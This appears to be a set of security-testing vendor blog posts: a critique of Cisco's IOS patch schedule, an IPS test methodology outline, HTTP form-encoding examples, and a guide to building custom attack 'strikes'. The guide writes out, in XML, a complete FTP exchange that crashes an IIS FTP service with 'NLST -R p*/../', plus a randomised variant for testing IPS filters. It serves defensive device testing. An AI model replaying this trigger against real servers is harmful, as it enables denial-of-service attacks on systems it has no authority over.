Cisco Becomes The Weakest Link In National Infrastructure Security

Last week Cisco released patches in their semi-annual security announcement. The publication includes 11 advisories that address 12 individual vulnerabilities. Ten of the advisories address vulnerabilities in Cisco IOS and one advisory addresses a vulnerability in Cisco Unified Communications Manager. Together these can affect routers and switches that not only use the Cisco Unified Communications Manager, but any device relying on the Cisco IOS operating system. To put it bluntly, this means a ton of devices critical to any network, and these vulnerabilities leave businesses and government agencies exposed to a barrage of attacks including denial-of-service (DDoS) or policy bypass.

Much has been written about the announcement of the vulnerabilities. However, details are lacking and there are more questions than answers. This lack of information leads me to believe Cisco does not take security seriously and continues to not know how to work with the security community. Considering the lack of details and opinions, I thought I would provide a few of my own.

1) Twice A Year Is Not Enough

The number of vulnerabilities patched by Cisco is not the issue. It is the potential danger these vulnerabilities pose. One of the IOS vulnerabilities allows unauthenticated attackers to bypass access control policies when the “Object Groups for Access Control Lists (ACLs)” feature is used. Your company is most likely protecting your critical components by leveraging ACLs, now imagine they are no longer in place. The human resources database with all that W-2 information? Hackers now have your salary, your direct deposit account, your medical history and of course your social security number. To make matters worse, replace that HR database with our government’s nuclear secrets; don’t you think Iran is aware of the Cisco vulnerabilities?

Scary stuff, for sure, but how long has the vulnerability been around and recognized. The answer is unknown. The only fact we have is that each of these eleven vulnerabilities may have been around for at least six months. That is an eternity in the security space and has given hackers too much time to walk in through an open door.

Microsoft is often a punching bag when it comes to vulnerabilities and it is sometimes warranted, but let’s be honest, the company does a good job of patching issues on a regular basis. With Microsoft, you know that you are going to get a patch each month and important details that help you make an informed security decision. Cisco should examine its patching schedule in light of the September 24th announcement; every six months is not acceptable.

2) Updating Routers and Switches is Now Critical

You can never diminish the importance of a switch or router to your network infrastructure. They are the core to any network whether in a home, a large Enterprise or the Federal Government. If one fails you know it. However, if a vulnerability let’s people through due to a hack do you know it? While everyone remembers to patch their Mac or Windows laptop, how often do they patch the router, firewall or switch?

To see how up-to-date folks are with their Cisco firmware I ran a quick test. During a 1-hour scan of the Internet I found 420 responding systems and NONE were patched with any fixes from this cycle or the last. That means 420 systems, at a minimum, are susceptible to a years worth of vulnerabilities.

Microsoft had enough of people not patching and now it force feeds the patches. While I’m not a fan of that solution, it does work. Cisco needs to apply the same method to its products. It is irresponsible for Cisco to run its business in a way that could cause mass disruption to critical network infrastructures including government and military services.

Cisco is not the only one to blame in this mess, the people responsible for getting their routers, switches and other network equipment up-to-date also must be held accountable. How many of you updated with the patches on September 24th, the day of the announcement? The quick scan I did is telling me not many. Kelly Jackson Higgins of Dark Reading put it best, “The dirty little secret about patching routers is that many enterprises don't bother for fear of the fallout any changes to their Cisco router software could have on the rest of the infrastructure.”

3) Testing, Testing, Testing

In this case we have a great example of why every network device needs to be realistically tested under a variety of scenarios, both security and performance driven. Obviously, testing must occur at the NEMs level throughout the product lifecycle, but the enterprise must also test this equipment before it is deployed and after updates like these are made. Having the ability to quickly test equipment and the network after making updates is critical.

There is no room for excuses anymore. We have been able to become more adept at updating and testing equipment and software that are given more regular patches. Just look at how Microsoft Tuesday has become a habit. Other vendors have realized that this approach, ultimately, is better for everyone. I would encourage manufacturers of any network equipment to do the same.

The reason this is important is because the United States is currently fighting in two wars, heavily dependent on network technologies. The Department of Defense and other military agencies have concluded that the next major war will be waged, in great part, in cyberspace. If Cisco and other vendors guilty of the same security concerns do not get their act together it will be a war we cannot win.

Until March 24, 2010, when the next Cisco bulletin is due.

How To Test IPS Devices: Updated IPS Testing Methodology Published

Today we released an update to our IPS testing methodology, significantly enhancing the document with more test scenarios and pages of step-by-step tips. You can download the BreakingPoint IPS Test Methodology here.

Security threats, as you all know, have become so complex and numerous that organizations often are having difficulty figuring out which threats are the most dangerous. Resiliency testing of networks and security devices, such as an IPS, with "realistic Internet-scale traffic" is the first step in securing organizations. Being realistic in your testing means using live security strikes, blended application traffic, maximum load and even throwing in unforseen scenarios.

Let's face it, if your IPS fails to work properly, even letting a single flow of malicious traffic pass, you are dealing with viruses, worms and backdoor attacks that can gain access to the corporate network and cause a great deal of problems, potentially bringing down the network.

The IPS test methodology is meant to help determine the IPS’ actual capabilities under real-world conditions. For instance, the IPS device might be able to detect and mitigate malicious activity under light network traffic load. However, when network traffic becomes heavy, the IPS device might detect significantly less malicious activity. These types of tests fill up this methodology.

Sufficient testing must be preformed to fully characterize the impact different scenarios will have on the IPS. Realism is key.

To give you an idea of what you'll find in the methodology here is the table of contents:

1. Introduction
2. Baseline Application Performance: Maximum Connections
3. Baseline Application Performance: Throughput
4. Baseline Attack Mitigation: SYN Flood
5. Baseline Attack Mitigation: Malicious Traffic
6. Application Traffic with SYN Flood
7. Application Traffic with Malicious Traffic
8. Application Traffic with Malicious Traffic and SYN Flood
9. Jumbo Frames 88 IP, UDP and TCP Fuzzing
10. Protocol Fuzzing
11. Evasion Techniques
12. Negative Testing

Protocol Realism: HTTP POST Content-Type

As any semi-competent web application developer could tell you, when you fill out a form and submit it via HTTP, there are a few options your browser has in formatting the response. However, since I am not a semi-competent web application developer, I had to go look this up because we have a BreakingPoint Elite user who recently asked for exactly this functionality in our HTTP Application Simulator.

So, as of the latest Application Protocol and Strike Pack, the HTTP Application Simulator now asks for an optional "Content-boundary" value, to go along with the usual "Content-Type" header, like so:

To illustrate, if we had a test that specified the options as shown above, along with a text file with the specified boundary token of "BPS123" to demarcate each of the HTTP form's values, the result would look something like this:

POST /submit.html HTTP/1.1
Host: default
Connection: Keep-Alive
User-Agent: BreakingPoint/1.x (http://bpointsys.com/)
Accept: */*
Content-Type: multipart/form-data; boundary=BPS123
Content-Length: 395

--BPS123
Content-Disposition: form-data; name="value_one"

This is my first value. I just want to say
--BPS123
Content-Disposition: form-data; name="value_two"

Yo value_one, I'm really happy for you and I'mma let you finish,
but application/x-www-form-urlencoded is the one of the best form
encoding types of all time.

One of the best form encoding types of all time!
--BPS123--

If we had, instead, set the Content-Type to the more typical POST encoding of "application/x-www-form-urlencoded," we could specify another appropriately formatted text file and generate a result that HTTP-aware content inspection devices would understand:

POST /submit.html HTTP/1.1
Host: default
Connection: Keep-Alive
User-Agent: BreakingPoint/1.x (http://bpointsys.com/)
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

value_one=First+value&value_two=%09This+is+the+first+line%0d%
0aSecond+line,+and+honestly,+this+kanye+thing+isn%27t+all+that+funny+anymore.
%0d%0aNo,+really,+let%27s+just+end+this+now.

Of course, there's also the plain text encoding, which virtually nobody uses. But, just because it's unpopular doesn't mean that your inspection device shouldn't be tested on it. To do so, it's as simple as setting "text/plain" as the Content-Type, and providing the text to look for:

POST /submit.html HTTP/1.1
Host: default
Connection: Keep-Alive
User-Agent: BreakingPoint/1.x (http://bpointsys.com/)
Accept: */*
Content-Type: text/plain
Content-Length: 298

value_one=This is the first value.
value_two=Yo value_one, I'm really hap--
value_three=Yo value_two, I'm really happy for you, and I'mma let you 
finish, but the fake form value interruption in example one was the best 
"I'mma let you finish" joke of this entire blog post.

This entire blog post!

It's a little thing, of course -- just a few UI settings to make sure that the form data you're blasting out at dangerous speeds is formatted according to your fancy. But it's the little things like this that make the case for realistic testing. If a vendor claims a device inspects outgoing HTTP data, then, by gum, it ought to be handling all the vagaries of form encoding. And if the vendor claims it does that, then by double-gum, now you can test it to be sure.

How To Create Custom Strikes Part II: Creating the Strike

UDPATE: To download the entire how-to guide, which includes all three parts, simply head over to our how-to guides section.

In Part I of our look at how-to create custom strikes for testing we talked about how to find and validate a vulnerability. Now I want to look at how we go about creating the custom strike and talk about exploit versus vulnerability. In Part III I will provide the step-by-step directions for then generating this custom strike using the BreakingPoint Elite.

Custom Strikes

Now that an appropriate security strike has been identified, we can start to describe the strike through the BreakingPoint Custom Strike Toolkit. The API supports the importing of XML-based description files that describe the flow of information between a client and server. The full XML file used to generate this strike will be included in the Appendix.

The custom strike XML begins with an “application” tag, which is the outer-most XML tag. This tag accepts two parameters: “sport” and “dport” for source port and destination port, respectively. Values of ‘0’ indicate random, and non-zero values are used for fixed ports. Our example looks like this:

    <application sport="0" dport="21">

    </application>

Note that the custom strike ends with the closing “application” tag. Everything written for the strike will come between these two tags.

Within the “application” tag, the custom strike API utilizes two additional tagged blocks that represent client and server transactions. Since our example uses FTP, we know that once the TCP connection is established, the server is first to send data.

    <server>

    <dblock type="ascii">220 Microsoft FTP Service\r\n</dblock>

    </server>

The FTP 220 response with the default Microsoft FTP Service message is sent from the server to the client. This particular XML block corresponds to packet 124 in Figure 8 (described in Part I).

Once the server has issued the greeting, the client must log in. To illustrate the severity of the vulnerability, an anonymous user was used. The server happily accepts anonymous logins.

    <client>

    <dblock type="ascii">USER anonymous\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">331 Anonymous access allowed, send identity (e-mail name) as password.\r\n</        dblock>

    </server>

These commands correspond to packets 141 and 142 in Figure 8. Once this process is completed, the password must be sent and accepted to complete the authentication process. Packets 146 and 147 in Figure 8 are represented by the following XML excerpt.

    <client>

    <dblock type="ascii">PASS anonymous@localhost\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">230 Anonymous user logged in.\r\n</dblock>

    </server>

The next several packets in Figure 8 correspond to the “ls –R p*/../” command issued from the FTP client. First a “PORT” command must be issued to open up a connection for the data channel. Packets 223 and 224 in Figure 8 represent this transaction.

    <client>

    <dblock store="ip_and_dest" type="ruby">

    <![CDATA[

    a = 5000 + rand(5000)

    a = a.to_s(base=16)

    a,b = a.scan(/../)

    a = a.to_i(base=16)

    b = b.to_i(base=16)

    a = a.to_s

    b = b.to_s

    ip_addr = get_var('caddr')

    ip_addr = ip_addr.gsub('.',',')

    d = ip_addr + "," + a + "," + b

    ]]>

    </dblock>

    <dblock type="ascii">PORT $(ip_and_dest)\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">200 PORT command successful.\r\n</dblock>

    </server>

The glaring difference in this code excerpt is the inclusion of a Ruby code block which handles the FTP formatting of destination IP address and port for the data socket. The Ruby code simply takes a dotted decimal IP address and exchanges the periods with commas, while concatenating a random TCP port with the IP address. This is of the form 10,10,10,20,198,84.

Once these commands have completed, the trigger command is sent.

    <client>

    <dblock type="ascii">NLST -R p*/../\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">150 Opening ASCII mode data connection for /bin/ls.\r\n</dblock>

    </server>

Packets 225 and 226 in Figure 8 illustrate the actual network traffic generated, while packet 244 illustrates the TCP RST packet sent by the server stack when the FTP service crashes.

Exploit vs. Vulnerability

While the XML code listed previously will generate an exploit to the IIS vulnerability exactly as captured from the local recreation, the FTP payload of the network traffic generated by the BreakingPoint Elite will remain static, even though the IP and TCP information will change. This sort of traffic would help to validate an exploit filter but not necessarily a vulnerability filter.

Software exploits are truly singular cases that trigger some sort of bad behavior in an application. Vulnerabilities are the general behavior of applications that allow particular scenarios to trigger bad behavior. The actual transaction sent that crashed the FTP service required there to be a folder named ‘pub’ that was readable by the user that logged into the FTP service. This case is truly an exploit to the IIS FTP service. This was what was actually coded in the XML. In contrast, the exploit is more than just issuing a “ls –R p*/../” command. For example, if we rerun this case with a different scenario, we can still trigger the vulnerability.

Figure 10: IIS Exploited with Different ‘ls’ Command

When testing a network device that would provide protection for this CVE, the tester will want to ensure that the filter in place is a vulnerability filter and not an exploit filter. If the device were using an exploit filter, then “ls –R p*/../” would likely be blocked while “ls –R m*/../” would not be blocked.

In order to test this, we must slightly modify the XML to selectively randomize the trigger string to ensure that the device under test is filtering the vulnerability, in other words, the full set of exploits, and not just a handful of singular cases.

    <client>

    <dblock type="ascii">NLST -R </dblock>

    <dblock type="text_rand_alphanumeric" min="1" max="10" />

    <dblock type="ascii">*/../\r\n</dblock>

    </client>

The modified XML does not just use a singular exploit pattern but will create many different variations of the traffic necessary to exploit the vulnerability. Figure 11 illustrates this.

Figure 11: Illustration of a Selectively Randomized Exploit

Defense In Depth Best Practices, Testing and Validation

BreakingPoint hosted a panel discussion yesterday on cyber security and Defense in Depth. Our panel of experts included; Dennis Cox, CTO, BreakingPoint; Jeff Lake, Vice President of Federal Operations, Fortinet and Bruce Brody, Managing Partner and Executive Vice President, VISKO. Together the panel took on a variety of topics including:

• Best practices for planning Defense in Depth
• The important role of training in securing your network
• How to break through the current "clique" of security professionals to involve more people
• Why the Government needs to include computer security lessons in our schools
• The potential role of USCYBERCOM
• ...and much more

Listen Now